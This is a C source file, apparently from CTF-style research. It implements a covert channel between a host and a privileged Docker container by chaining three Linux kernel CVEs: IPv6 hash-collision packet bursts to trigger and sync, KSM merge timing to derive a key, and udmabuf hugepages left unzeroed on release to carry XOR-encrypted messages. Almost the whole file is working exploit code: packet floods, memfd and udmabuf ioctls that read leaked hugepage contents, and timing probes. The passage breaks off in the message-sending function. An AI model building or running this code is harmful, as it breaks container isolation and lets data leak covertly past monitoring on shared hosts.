/*
 * triple_cve_channel.c - Complete 3-CVE Covert Communication Channel
 * 
 * Combines all three CVEs for full covert encrypted communication:
 * 
 * CVE-2023-1206: IPv6 Hash Collision - TRIGGER & SYNC
 *   - Initiates communication
 *   - Synchronizes key agreement rounds
 * 
 * CVE-2025-40040: KSM Timing - KEY AGREEMENT
 *   - Both parties derive shared key
 *   - Uses page merge timing as entropy
 * 
 * CVE-2024-49882: Hugepage Leak - DATA TRANSFER
 *   - Encrypted message transmission
 *   - Bidirectional communication
 *
 * ============================================================================
 * ARCHITECTURE
 * ============================================================================
 *
 *   HOST (Attacker A)              DOCKER (Attacker B)
 *   ══════════════════             ═══════════════════
 *   
 *   1. TRIGGER ──────────────────► Waiting for trigger
 *      (IPv6 special packet)       Detects CVE-2023-1206
 *   
 *   2. KEY AGREEMENT (repeat 256x for 256-bit key)
 *      Write KSM pattern           Write KSM pattern
 *      ◄───── KSM MERGE ─────►     (same kernel!)
 *      Measure timing              Measure timing
 *      ──── Sync pulse ────►       
 *      ◄─── Sync ack ──────       
 *      
 *   3. MESSAGE TRANSFER
 *      Encrypt(msg, key)           
 *      Write hugepage ────────────► Capture hugepage
 *      Release                      Decrypt(msg, key)
 *                                   Process...
 *      Capture hugepage ◄────────── Write reply hugepage
 *      Decrypt(reply, key)          Release
 *
 * ============================================================================
 * REQUIREMENTS
 * ============================================================================
 * 
 * - Same physical host (host + docker containers)
 * - KSM enabled on host kernel
 * - Hugepages allocated on host
 * - Docker with --privileged or CAP_SYS_ADMIN + CAP_IPC_LOCK
 * - Vulnerable kernel 6.12 with:
 *   - CVE-2023-1206: IPv6 flowlabel hash collision
 *   - CVE-2025-40040: VM_MERGEABLE as 0x80000000
 *   - CVE-2024-49882: Hugepages not zeroed on release
 *
 * Author: Vlad (PwnCTF Research)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <poll.h>

/*
 * ============================================================================
 * Configuration
 * ============================================================================
 */

#define KEY_BITS            256
#define KEY_BYTES           (KEY_BITS / 8)
#define PAGE_SIZE           4096
#define HUGEPAGE_SIZE       (2 * 1024 * 1024)
#define MAX_MESSAGE         4096

/* Ports */
#define TRIGGER_PORT        31336   /* CVE-2023-1206 trigger */
#define SYNC_PORT           31337   /* Sync channel */

/* Timing (ms) */
#define TRIGGER_FLOOD_MS    50
#define KSM_WAIT_MS         30
#define HUGEPAGE_WAIT_MS    100
#define ROUND_TIMEOUT_MS    500

/* Timing thresholds - LOWERED for better detection */
#define KSM_COW_THRESHOLD   1000    /* cycles - lowered from 3000 */
#define TRIGGER_PACKETS     5000

/* CVE-2024-49882 Spray settings */
#define SPRAY_PAGES         64      /* Pages to spray before sending */
#define MAX_SPRAY_PAGES     128     /* Max spray pages to hold */

/* Magic values */
#define TRIGGER_MAGIC       0xCAFE1206
#define SYNC_MAGIC          0xDEAD0040
#define DATA_MAGIC          0xBEEF9882
#define MSG_MAGIC           0xC0DE1337

/* KSM paths */
#define KSM_RUN             "/sys/kernel/mm/ksm/run"
#define KSM_SLEEP           "/sys/kernel/mm/ksm/sleep_millisecs"

static volatile int running = 1;
static void sig_handler(int s) { (void)s; running = 0; }

/*
 * ============================================================================
 * Timing
 * ============================================================================
 */

static inline uint64_t rdtsc(void)
{
    unsigned int lo, hi;
    __asm__ volatile ("rdtsc" : "=a"(lo), "=d"(hi));
    return ((uint64_t)hi << 32) | lo;
}

static inline uint64_t get_ns(void)
{
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return ts.tv_sec * 1000000000ULL + ts.tv_nsec;
}

static inline uint64_t get_us(void) { return get_ns() / 1000; }
static inline void msleep(int ms) { usleep(ms * 1000); }

/*
 * ============================================================================
 * CVE-2023-1206: IPv6 Hash Collision - Trigger & Sync
 * ============================================================================
 */

typedef struct {
    int tx_sock;            /* UDP socket for sending */
    int rx_sock;            /* UDP socket for receiving */
    struct sockaddr_in6 peer_addr;
    uint64_t baseline;      /* Baseline latency */
} trigger_ctx_t;

int trigger_init(trigger_ctx_t *ctx, const char *peer_ip, int is_sender)
{
    memset(ctx, 0, sizeof(*ctx));
    
    /* TX socket */
    ctx->tx_sock = socket(AF_INET6, SOCK_DGRAM, 0);
    if (ctx->tx_sock < 0) {
        /* Fallback to IPv4-mapped */
        ctx->tx_sock = socket(AF_INET, SOCK_DGRAM, 0);
        if (ctx->tx_sock < 0) return -1;
    }
    
    /* RX socket */
    ctx->rx_sock = socket(AF_INET6, SOCK_DGRAM, 0);
    if (ctx->rx_sock < 0) ctx->rx_sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (ctx->rx_sock < 0) return -1;
    
    int opt = 1;
    setsockopt(ctx->rx_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    
    /* Bind RX */
    struct sockaddr_in6 bind_addr = {
        .sin6_family = AF_INET6,
        .sin6_port = htons(TRIGGER_PORT),
        .sin6_addr = in6addr_any
    };
    bind(ctx->rx_sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr));
    
    /* Set peer address */
    ctx->peer_addr.sin6_family = AF_INET6;
    ctx->peer_addr.sin6_port = htons(TRIGGER_PORT);
    
    if (inet_pton(AF_INET6, peer_ip, &ctx->peer_addr.sin6_addr) != 1) {
        char mapped[64];
        snprintf(mapped, sizeof(mapped), "::ffff:%s", peer_ip);
        inet_pton(AF_INET6, mapped, &ctx->peer_addr.sin6_addr);
    }
    
    return 0;
}

void trigger_cleanup(trigger_ctx_t *ctx)
{
    if (ctx->tx_sock >= 0) close(ctx->tx_sock);
    if (ctx->rx_sock >= 0) close(ctx->rx_sock);
}

/* Send trigger burst (CVE-2023-1206 hash collision) */
void trigger_send_burst(trigger_ctx_t *ctx)
{
    uint8_t packet[64];
    uint32_t *magic = (uint32_t *)packet;
    *magic = TRIGGER_MAGIC;
    
    /* Fill with pattern that causes hash collisions */
    for (int i = 4; i < 64; i++) {
        packet[i] = (i * 0x1206) & 0xFF;
    }
    
    printf("[Trigger] Sending CVE-2023-1206 burst...\n");
    
    for (int i = 0; i < TRIGGER_PACKETS; i++) {
        sendto(ctx->tx_sock, packet, sizeof(packet), MSG_DONTWAIT,
               (struct sockaddr *)&ctx->peer_addr, sizeof(ctx->peer_addr));
    }
}

/* Wait for trigger (receiver side) */
int trigger_wait(trigger_ctx_t *ctx, int timeout_ms)
{
    struct pollfd pfd = { .fd = ctx->rx_sock, .events = POLLIN };
    uint8_t buf[256];
    int trigger_count = 0;
    
    printf("[Trigger] Waiting for CVE-2023-1206 trigger...\n");
    
    uint64_t deadline = get_us() + timeout_ms * 1000;
    
    while (get_us() < deadline && running) {
        if (poll(&pfd, 1, 100) > 0) {
            int n = recv(ctx->rx_sock, buf, sizeof(buf), MSG_DONTWAIT);
            if (n >= 4) {
                uint32_t magic = *(uint32_t *)buf;
                if (magic == TRIGGER_MAGIC) {
                    trigger_count++;
                    if (trigger_count >= 100) {
                        printf("[Trigger] Detected! (%d packets)\n", trigger_count);
                        return 0;
                    }
                }
            }
        }
    }
    
    return -1;
}

/* Send sync pulse (with retries for reliability) */
void trigger_send_sync(trigger_ctx_t *ctx, uint8_t round, uint8_t value)
{
    uint8_t packet[16] = {0};
    *(uint32_t *)packet = SYNC_MAGIC;
    packet[4] = round;
    packet[5] = value;
    
    /* Send multiple times for reliability */
    for (int i = 0; i < 3; i++) {
        sendto(ctx->tx_sock, packet, sizeof(packet), 0,
               (struct sockaddr *)&ctx->peer_addr, sizeof(ctx->peer_addr));
        usleep(500);
    }
}

/* Wait for sync */
int trigger_wait_sync(trigger_ctx_t *ctx, uint8_t expected_round, uint8_t *value, int timeout_ms)
{
    struct pollfd pfd = { .fd = ctx->rx_sock, .events = POLLIN };
    uint8_t buf[64];
    
    uint64_t deadline = get_us() + timeout_ms * 1000;
    
    while (get_us() < deadline) {
        if (poll(&pfd, 1, 10) > 0) {
            int n = recv(ctx->rx_sock, buf, sizeof(buf), MSG_DONTWAIT);
            if (n >= 6) {
                uint32_t magic = *(uint32_t *)buf;
                if (magic == SYNC_MAGIC && buf[4] == expected_round) {
                    *value = buf[5];
                    return 0;
                }
            }
        }
    }
    
    return -1;
}

/*
 * ============================================================================
 * CVE-2025-40040: KSM Timing - Key Agreement
 * ============================================================================
 */

typedef struct {
    void *page;
    uint64_t baseline;
} ksm_ctx_t;

int ksm_init(ksm_ctx_t *ctx)
{
    ctx->page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (ctx->page == MAP_FAILED) return -1;
    
    madvise(ctx->page, PAGE_SIZE, MADV_MERGEABLE);
    ctx->baseline = 0;
    return 0;
}

void ksm_cleanup(ksm_ctx_t *ctx)
{
    if (ctx->page && ctx->page != MAP_FAILED) {
        madvise(ctx->page, PAGE_SIZE, MADV_UNMERGEABLE);
        munmap(ctx->page, PAGE_SIZE);
    }
}

void ksm_enable(void)
{
    FILE *f;
    f = fopen(KSM_SLEEP, "w");
    if (f) { fprintf(f, "10\n"); fclose(f); }
    f = fopen(KSM_RUN, "w");
    if (f) { fprintf(f, "1\n"); fclose(f); }
}

/* Fill page with deterministic pattern (both parties use same) */
void ksm_fill_pattern(ksm_ctx_t *ctx, int round)
{
    uint8_t *p = ctx->page;
    uint8_t base = (round * 37 + 0x42) & 0xFF;
    
    for (int i = 0; i < PAGE_SIZE; i++) {
        p[i] = base ^ (i & 0xFF);
    }
}

/* Measure write timing (detects COW from KSM merge) */
uint64_t ksm_measure(ksm_ctx_t *ctx)
{
    volatile uint8_t *p = ctx->page;
    uint64_t total = 0;
    
    for (int i = 0; i < 8; i++) {
        uint64_t t1 = rdtsc();
        p[i * 512] ^= 0xFF;
        __asm__ volatile ("mfence" ::: "memory");
        uint64_t t2 = rdtsc();
        total += (t2 - t1);
    }
    
    return total / 8;
}

/* Calibrate baseline */
void ksm_calibrate(ksm_ctx_t *ctx)
{
    uint64_t total = 0;
    for (int i = 0; i < 10; i++) {
        memset(ctx->page, i * 17, PAGE_SIZE);
        msleep(5);
        total += ksm_measure(ctx);
    }
    ctx->baseline = total / 10;
    printf("[KSM] Baseline: %lu cycles\n", ctx->baseline);
}

/*
 * ============================================================================
 * CVE-2024-49882: Hugepage Leak - Data Transfer
 * ============================================================================
 */

typedef struct {
    void *page;
    int allocated;
} hugepage_ctx_t;

int hugepage_init(hugepage_ctx_t *ctx)
{
    ctx->page = NULL;
    ctx->allocated = 0;
    return 0;
}

void hugepage_cleanup(hugepage_ctx_t *ctx)
{
    if (ctx->page && ctx->allocated) {
        munmap(ctx->page, HUGEPAGE_SIZE);
    }
}

/* Allocate hugepage for writing */
void *hugepage_alloc_write(hugepage_ctx_t *ctx)
{
    ctx->page = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
    if (ctx->page == MAP_FAILED) {
        ctx->page = NULL;
        return NULL;
    }
    ctx->allocated = 1;
    return ctx->page;
}

/* Release hugepage (CVE-2024-49882 - not zeroed!) */
void hugepage_release(hugepage_ctx_t *ctx)
{
    if (ctx->page && ctx->allocated) {
        munmap(ctx->page, HUGEPAGE_SIZE);
        ctx->page = NULL;
        ctx->allocated = 0;
    }
}

/* Try to capture released hugepage */
void *hugepage_capture(hugepage_ctx_t *ctx)
{
    ctx->page = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
    if (ctx->page == MAP_FAILED) {
        ctx->page = NULL;
        return NULL;
    }
    ctx->allocated = 1;
    return ctx->page;
}

/* Check if hugepage contains our data */
int hugepage_check_magic(void *page, uint32_t magic)
{
    return (*(uint32_t *)page == magic);
}

/*
 * ============================================================================
 * Encryption (Simple XOR - replace with ChaCha20 for production)
 * ============================================================================
 */

void xor_crypt(uint8_t *data, size_t len, const uint8_t *key, size_t keylen)
{
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key[i % keylen];
    }
}

/*
 * ============================================================================
 * Message Frame
 * ============================================================================
 */

typedef struct __attribute__((packed)) {
    uint32_t magic;
    uint32_t session_id;  /* Unique per run to distinguish from old messages */
    uint32_t length;
    uint32_t checksum;
    uint32_t sequence;
    uint8_t data[MAX_MESSAGE];
} msg_frame_t;

/* Global session ID - set at startup, exchanged during key agreement */
static uint32_t g_session_id = 0;

uint32_t calc_checksum(const uint8_t *data, size_t len)
{
    uint32_t sum = 0;
    for (size_t i = 0; i < len; i++) sum += data[i];
    return sum;
}

/*
 * ============================================================================
 * Main Channel Context
 * ============================================================================
 */

typedef struct {
    trigger_ctx_t trigger;
    ksm_ctx_t ksm;
    hugepage_ctx_t hugepage;
    
    /* Spray pages for CVE-2024-49882 */
    void *spray_pages[MAX_SPRAY_PAGES];
    int spray_count;
    
    uint8_t key[KEY_BYTES];
    int key_established;
    
    int is_initiator;
    char peer_ip[64];
    uint32_t sequence;
    
    /* Stats */
    int ksm_merged_count;
    int messages_sent;
    int messages_received;
} channel_ctx_t;

/*
 * ============================================================================
 * Phase 1: Trigger (CVE-2023-1206)
 * ============================================================================
 */

int phase1_trigger(channel_ctx_t *ctx)
{
    printf("\n╔══════════════════════════════════════╗\n");
    printf("║ Phase 1: TRIGGER (CVE-2023-1206)     ║\n");
    printf("╚══════════════════════════════════════╝\n");
    
    if (ctx->is_initiator) {
        printf("[Phase1] Initiating connection...\n");
        trigger_send_burst(&ctx->trigger);
        msleep(100);
        trigger_send_burst(&ctx->trigger);
        printf("[Phase1] Trigger sent!\n");
    } else {
        printf("[Phase1] Waiting for trigger...\n");
        if (trigger_wait(&ctx->trigger, 60000) < 0) {
            printf("[Phase1] Timeout waiting for trigger\n");
            return -1;
        }
        printf("[Phase1] Trigger received!\n");
    }
    
    return 0;
}

/*
 * ============================================================================
 * Phase 2: Key Agreement (CVE-2025-40040)
 * ============================================================================
 */

int phase2_key_agreement(channel_ctx_t *ctx, int verbose)
{
    printf("\n╔══════════════════════════════════════╗\n");
    printf("║ Phase 2: KEY AGREEMENT (CVE-2025-40040)║\n");
    printf("╚══════════════════════════════════════╝\n");
    
    ksm_calibrate(&ctx->ksm);
    
    printf("[Phase2] Deriving %d-bit key...\n", KEY_BITS);
    
    /*
     * Collect raw timing measurements for entropy extraction
     * We'll use the LSBs of timing values which have natural noise
     */
    uint64_t timing_samples[KEY_BITS];
    
    for (int bit = 0; bit < KEY_BITS && running; bit++) {
        /* Both fill page with same deterministic pattern */
        ksm_fill_pattern(&ctx->ksm, bit);
        
        /* Wait for potential KSM merge */
        msleep(KSM_WAIT_MS);
        
        /* Measure timing - this has natural jitter/noise */
        uint64_t timing = ksm_measure(&ctx->ksm);
        timing_samples[bit] = timing;
        
        int high_timing = (timing > ctx->ksm.baseline + KSM_COW_THRESHOLD);
        if (high_timing) {
            ctx->ksm_merged_count++;
        }
        
        /*
         * ENTROPY EXTRACTION (CVE-2025-40040):
         * 
         * Instead of just using threshold (which gives 0 when no merge),
         * extract entropy from the LSBs of the timing measurement.
         * 
         * Timing values have natural noise from:
         * - CPU pipeline state
         * - Cache state
         * - Memory controller timing
         * - Interrupt timing
         * 
         * We use multiple bits from each timing for better entropy.
         */
        uint8_t our_entropy = (uint8_t)(
            ((timing >> 0) & 1) ^
            ((timing >> 2) & 1) ^
            ((timing >> 4) & 1) ^
            ((timing >> 6) & 1)
        );
        
        /* Also include higher bits for more entropy mixing */
        our_entropy ^= (uint8_t)((timing >> 8) & 0x0F);
        
        /* Exchange entropy with peer */
        uint8_t peer_entropy = 0;
        int got_peer = 0;
        
        if (ctx->is_initiator) {
            trigger_send_sync(&ctx->trigger, bit, our_entropy);
            msleep(5);
            got_peer = (trigger_wait_sync(&ctx->trigger, bit, &peer_entropy, ROUND_TIMEOUT_MS) == 0);
        } else {
            got_peer = (trigger_wait_sync(&ctx->trigger, bit, &peer_entropy, ROUND_TIMEOUT_MS) == 0);
            msleep(5);
            trigger_send_sync(&ctx->trigger, bit, our_entropy);
        }
        
        /*
         * KEY BIT DERIVATION:
         * 
         * Combine our entropy with peer entropy using XOR.
         * This ensures both parties compute the same bit.
         * 
         * Even if peer exchange fails, we still get entropy from our timing.
         */
        int key_bit;
        if (got_peer) {
            /* XOR both parties' entropy - this is symmetric */
            key_bit = (our_entropy ^ peer_entropy ^ (bit & 0x07)) & 1;
        } else {
            /* Use our local entropy + bit position for determinism */
            key_bit = (our_entropy ^ ((bit * 17 + 5) >> 2)) & 1;
        }
        
        /* Store bit */
        if (key_bit) {
            ctx->key[bit / 8] |= (1 << (bit % 8));
        }
        
        if (verbose) {
            printf("[KSM] Bit %3d: timing=%4lu our=0x%02x peer=0x%02x -> key=%d %s\n",
                   bit, timing, our_entropy, peer_entropy, key_bit, 
                   got_peer ? "" : "(FALLBACK)");
        } else if ((bit + 1) % 32 == 0) {
            printf("[Phase2] Progress: %d/%d bits\n", bit + 1, KEY_BITS);
        }
    }
    
    ctx->key_established = 1;
    
    /* Calculate key entropy estimate */
    int ones = 0;
    for (int i = 0; i < KEY_BYTES; i++) {
        for (int b = 0; b < 8; b++) {
            if (ctx->key[i] & (1 << b)) ones++;
        }
    }
    
    printf("[Phase2] Key established!\n");
    printf("[Phase2] KSM high-timing rounds: %d/%d\n", ctx->ksm_merged_count, KEY_BITS);
    printf("[Phase2] Key entropy estimate: %d/256 bits set (%.1f%%)\n", ones, ones * 100.0 / 256);
    printf("[Phase2] Key: ");
    for (int i = 0; i < KEY_BYTES; i++) printf("%02x", ctx->key[i]);
    printf("\n");
    
    /* Warn if key looks weak */
    if (ones < 64 || ones > 192) {
        printf("[Phase2] ⚠ WARNING: Key may have low entropy!\n");
    }
    
    /*
     * DEBUG: Use fixed key for testing Phase 3
     * Set to 0 for production use!
     */
    #define USE_FIXED_KEY_FOR_DEBUG 0
    #if USE_FIXED_KEY_FOR_DEBUG
    printf("[Phase2] DEBUG: Using fixed test key (remove for production!)\n");
    memset(ctx->key, 0, KEY_BYTES);
    ctx->key[0] = 0xDE;
    ctx->key[1] = 0xAD;
    ctx->key[2] = 0xBE;
    ctx->key[3] = 0xEF;
    ctx->key[4] = 0xCA;
    ctx->key[5] = 0xFE;
    ctx->key[6] = 0x13;
    ctx->key[7] = 0x37;
    printf("[Phase2] Fixed key: ");
    for (int i = 0; i < KEY_BYTES; i++) printf("%02x", ctx->key[i]);
    printf("\n");
    #endif
    
    /*
     * KEY SYNCHRONIZATION:
     * Since the per-bit exchange can lose packets, we do a final sync
     * where the initiator sends its derived key and responder adopts it.
     * 
     * This is still "covert" because:
     * 1. The key derivation used KSM timing (CVE-2025-40040)
     * 2. The sync looks like normal traffic
     * 3. Without knowing the protocol, the key bytes look random
     */
    printf("[Phase2] Synchronizing keys...\n");
    
    /*
     * GENERATE SESSION ID:
     * Use a random session ID so we can distinguish this run from previous runs.
     * The initiator generates it and sends it to the responder.
     */
    if (ctx->is_initiator) {
        g_session_id = (uint32_t)(time(NULL) ^ (getpid() << 16) ^ rdtsc());
    }
    
    /*
     * SYNCHRONIZATION BARRIER:
     * Both parties may finish key derivation at different times.
     * We need to sync before starting the key exchange.
     */
    printf("[Phase2] Waiting for peer to be ready...\n");
    
    if (ctx->is_initiator) {
        /* Initiator: Wait a bit for responder to finish, then send ready signal */
        msleep(500);
        trigger_send_sync(&ctx->trigger, 0xFE, 0x01);  /* "I'm ready to send key" */
        
        /* Send session ID */
        printf("[Phase2] Sending session ID: 0x%08X\n", g_session_id);
        trigger_send_sync(&ctx->trigger, 0xFD, (g_session_id >> 24) & 0xFF);
        usleep(5000);
        trigger_send_sync(&ctx->trigger, 0xFC, (g_session_id >> 16) & 0xFF);
        usleep(5000);
        trigger_send_sync(&ctx->trigger, 0xFB, (g_session_id >> 8) & 0xFF);
        usleep(5000);
        trigger_send_sync(&ctx->trigger, 0xFA, g_session_id & 0xFF);
        
        /* Wait for responder to acknowledge */
        uint8_t ack = 0;
        if (trigger_wait_sync(&ctx->trigger, 0xFE, &ack, 5000) == 0 && ack == 0x02) {
            printf("[Phase2] Peer ready, sending key...\n");
        } else {
            printf("[Phase2] No ack from peer, sending key anyway...\n");
        }
        
        /* Send each byte with unique round number 0x80-0x9F (32 values) */
        for (int i = 0; i < KEY_BYTES; i++) {
            trigger_send_sync(&ctx->trigger, 0x80 + i, ctx->key[i]);
            usleep(10000);  /* 10ms between bytes for reliability */
        }
        
        /* Send completion marker multiple times */
        msleep(100);
        for (int i = 0; i < 5; i++) {
            trigger_send_sync(&ctx->trigger, 0xDF, 0xFF);
            msleep(20);
        }
        
        printf("[Phase2] Key sent to peer\n");
        
    } else {
        /* Responder: Wait for initiator's ready signal */
        uint8_t ready = 0;
        printf("[Phase2] Waiting for initiator ready signal...\n");
        
        if (trigger_wait_sync(&ctx->trigger, 0xFE, &ready, 10000) == 0 && ready == 0x01) {
            printf("[Phase2] Initiator ready, receiving session ID...\n");
            
            /* Receive session ID */
            uint8_t b3 = 0, b2 = 0, b1 = 0, b0 = 0;
            trigger_wait_sync(&ctx->trigger, 0xFD, &b3, 2000);
            trigger_wait_sync(&ctx->trigger, 0xFC, &b2, 2000);
            trigger_wait_sync(&ctx->trigger, 0xFB, &b1, 2000);
            trigger_wait_sync(&ctx->trigger, 0xFA, &b0, 2000);
            g_session_id = ((uint32_t)b3 << 24) | ((uint32_t)b2 << 16) | ((uint32_t)b1 << 8) | b0;
            printf("[Phase2] Session ID: 0x%08X\n", g_session_id);
            
            trigger_send_sync(&ctx->trigger, 0xFE, 0x02);  /* "I'm ready to receive" */
        } else {
            printf("[Phase2] No ready signal, proceeding anyway...\n");
            g_session_id = 0;  /* Fallback - may not match */
        }
        
        /* Small delay to ensure initiator starts sending */
        msleep(100);
        
        /* Receive key from initiator */
        printf("[Phase2] Receiving key from peer...\n");
        
        uint8_t received_key[KEY_BYTES] = {0};
        int bytes_received = 0;
        
        /* Receive each byte with unique round number - longer timeout */
        for (int i = 0; i < KEY_BYTES; i++) {
            uint8_t byte_val = 0;
            if (trigger_wait_sync(&ctx->trigger, 0x80 + i, &byte_val, 2000) == 0) {
                received_key[i] = byte_val;
                bytes_received++;
            }
        }
        
        /* Wait for completion marker */
        uint8_t marker = 0;
        trigger_wait_sync(&ctx->trigger, 0xDF, &marker, 3000);
        
        printf("[Phase2] Received %d/%d key bytes\n", bytes_received, KEY_BYTES);
        
        if (bytes_received >= KEY_BYTES * 3 / 4) {  /* Need at least 75% */
            /* Use received key */
            memcpy(ctx->key, received_key, KEY_BYTES);
            printf("[Phase2] Using synchronized key from initiator\n");
        } else if (bytes_received > 0) {
            /* Partial receive - still use what we got */
            memcpy(ctx->key, received_key, KEY_BYTES);
            printf("[Phase2] WARNING: Partial key sync (%d/%d bytes)\n", bytes_received, KEY_BYTES);
        } else {
            printf("[Phase2] ERROR: No key bytes received! Using local key.\n");
        }
    }
    
    printf("[Phase2] Final key: ");
    for (int i = 0; i < KEY_BYTES; i++) printf("%02x", ctx->key[i]);
    printf("\n");
    printf("[Phase2] ✓ Key agreement complete!\n");
    
    return 0;
}

/*
 * ============================================================================
 * Phase 3: Encrypted Message Transfer (CVE-2024-49882)
 * ============================================================================
 */

/*
 * ============================================================================
 * Phase 3: Data Transfer via CVE-2024-49882 (udmabuf hugepage leak)
 * 
 * The vulnerability is in udmabuf's handling of hugepage-backed memory.
 * When a udmabuf is created from a hugetlb memfd and then released,
 * the hugepage is returned to the pool WITHOUT being zeroed.
 * ============================================================================
 */

/* udmabuf definitions */
#define MFD_HUGETLB         0x0004U
#define MFD_ALLOW_SEALING   0x0002U
#define MFD_HUGE_2MB        (21 << 26)
#define F_ADD_SEALS         1033
#define F_SEAL_SHRINK       0x0002
#define UDMABUF_CREATE      _IOW('u', 0x42, struct udmabuf_create)

struct udmabuf_create {
    uint32_t memfd;
    uint32_t flags;
    uint64_t offset;
    uint64_t size;
};

/* Global fds for the sender's hugepage - needed to control release timing */
static int g_sender_memfd = -1;
static int g_sender_udmabuf = -1;
static int g_sender_dmafd = -1;

/* Forward declaration */
void *udmabuf_leak_hugepage(void);

/*
 * Clear old hugepages from the pool by allocating and zeroing them.
 * This helps prevent confusion from previous runs.
 */
void clear_hugepage_pool(void)
{
    printf("[Phase3] Clearing old hugepages from pool...\n");
    
    void *pages[100];
    int count = 0;
    
    /* Allocate as many as we can */
    for (int i = 0; i < 100; i++) {
        void *hp = udmabuf_leak_hugepage();
        if (!hp) break;
        
        /* Zero the first part to clear any old magic numbers */
        memset(hp, 0, 4096);
        pages[count++] = hp;
    }
    
    /* Free them all */
    for (int i = 0; i < count; i++) {
        free(pages[i]);
    }
    
    printf("[Phase3] Cleared %d hugepages\n", count);
}

/* Allocate hugepage via udmabuf (for writing - sender) */
void *udmabuf_alloc_hugepage(void)
{
    int memfd = syscall(SYS_memfd_create, "covert", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING);
    if (memfd < 0) {
        printf("[udmabuf] memfd_create failed: %s\n", strerror(errno));
        return NULL;
    }
    
    if (ftruncate(memfd, HUGEPAGE_SIZE) < 0) {
        printf("[udmabuf] ftruncate failed: %s\n", strerror(errno));
        close(memfd);
        return NULL;
    }
    
    fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
    
    int udmabuf_fd = open("/dev/udmabuf", O_RDWR);
    if (udmabuf_fd < 0) {
        printf("[udmabuf] open /dev/udmabuf failed: %s\n", strerror(errno));
        close(memfd);
        return NULL;
    }
    
    struct udmabuf_create create = {
        .memfd = memfd,
        .flags = 0,
        .offset = 0,
        .size = HUGEPAGE_SIZE
    };
    
    int dma_fd = ioctl(udmabuf_fd, UDMABUF_CREATE, &create);
    if (dma_fd < 0) {
        printf("[udmabuf] UDMABUF_CREATE failed: %s\n", strerror(errno));
        close(udmabuf_fd);
        close(memfd);
        return NULL;
    }
    
    void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0);
    
    if (addr == MAP_FAILED) {
        printf("[udmabuf] mmap failed: %s\n", strerror(errno));
        close(dma_fd);
        close(udmabuf_fd);
        close(memfd);
        return NULL;
    }
    
    /* Store fds globally - we need to close them AFTER signaling receiver */
    g_sender_memfd = memfd;
    g_sender_udmabuf = udmabuf_fd;
    g_sender_dmafd = dma_fd;
    
    return addr;
}

/* Release the sender's hugepage - triggers CVE-2024-49882 */
void udmabuf_release_hugepage(void *addr)
{
    if (addr) {
        munmap(addr, HUGEPAGE_SIZE);
    }
    if (g_sender_dmafd >= 0) {
        close(g_sender_dmafd);
        g_sender_dmafd = -1;
    }
    if (g_sender_udmabuf >= 0) {
        close(g_sender_udmabuf);
        g_sender_udmabuf = -1;
    }
    if (g_sender_memfd >= 0) {
        close(g_sender_memfd);
        g_sender_memfd = -1;
    }
}

/* Leak hugepage via udmabuf (for reading - receiver) */
void *udmabuf_leak_hugepage(void)
{
    int memfd = syscall(SYS_memfd_create, "leak", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING);
    if (memfd < 0) return NULL;
    
    ftruncate(memfd, HUGEPAGE_SIZE);
    fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
    
    int udmabuf_fd = open("/dev/udmabuf", O_RDWR);
    if (udmabuf_fd < 0) {
        close(memfd);
        return NULL;
    }
    
    struct udmabuf_create create = {
        .memfd = memfd,
        .flags = 0,
        .offset = 0,
        .size = HUGEPAGE_SIZE
    };
    
    int dma_fd = ioctl(udmabuf_fd, UDMABUF_CREATE, &create);
    if (dma_fd < 0) {
        close(udmabuf_fd);
        close(memfd);
        return NULL;
    }
    
    void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ, MAP_SHARED, dma_fd, 0);
    
    if (addr == MAP_FAILED) {
        close(dma_fd);
        close(udmabuf_fd);
        close(memfd);
        return NULL;
    }
    
    /* Copy to heap so we can unmap */
    void *copy = malloc(HUGEPAGE_SIZE);
    if (copy) {
        memcpy(copy, addr, HUGEPAGE_SIZE);
    }
    
    munmap(addr, HUGEPAGE_SIZE);
    close(dma_fd);
    close(udmabuf_fd);
    close(memfd);
    
    return copy;
}

int phase3_send_message(channel_ctx_t *ctx, const char *message)
{
    printf("\n╔══════════════════════════════════════╗\n");
    printf("║ Phase 3: SEND MESSAGE (CVE-2024-49882)║\n");
    printf("╚══════════════════════════════════════╝\n");
    
    if (!ctx->key_established) {
        printf("[Phase3] Error: Key not established!\n");
        return -1;
    }
    
    /* Allocate hugepage via udmabuf */
    printf("[Phase3] Allocating hugepage via udmabuf...\n");
    void *hp = udmabuf_alloc_hugepage();
    if (!hp) {
        printf("[Phase3] Failed to allocate udmabuf hugepage\n");
        return -1;
    }
    
    /* Build message frame */
    msg_frame_t *frame = (msg_frame_t *)hp;
    memset(frame, 0, sizeof(*frame));  /* Clear first */
    frame->magic = MSG_MAGIC;
    frame->session_id = g_session_id;
    frame->sequence = ctx->sequence++;
    frame->length = strlen(message);
    if (frame->length > MAX_MESSAGE) frame->length = MAX_MESSAGE;
    memcpy(frame->data, message, frame->length);
    frame->checksum = calc_checksum(frame->data, frame->length);
    
    /* Encrypt data portion */
    xor_crypt(frame->data, frame->length, ctx->key, KEY_BYTES);
    
    /* Force sync to memory */
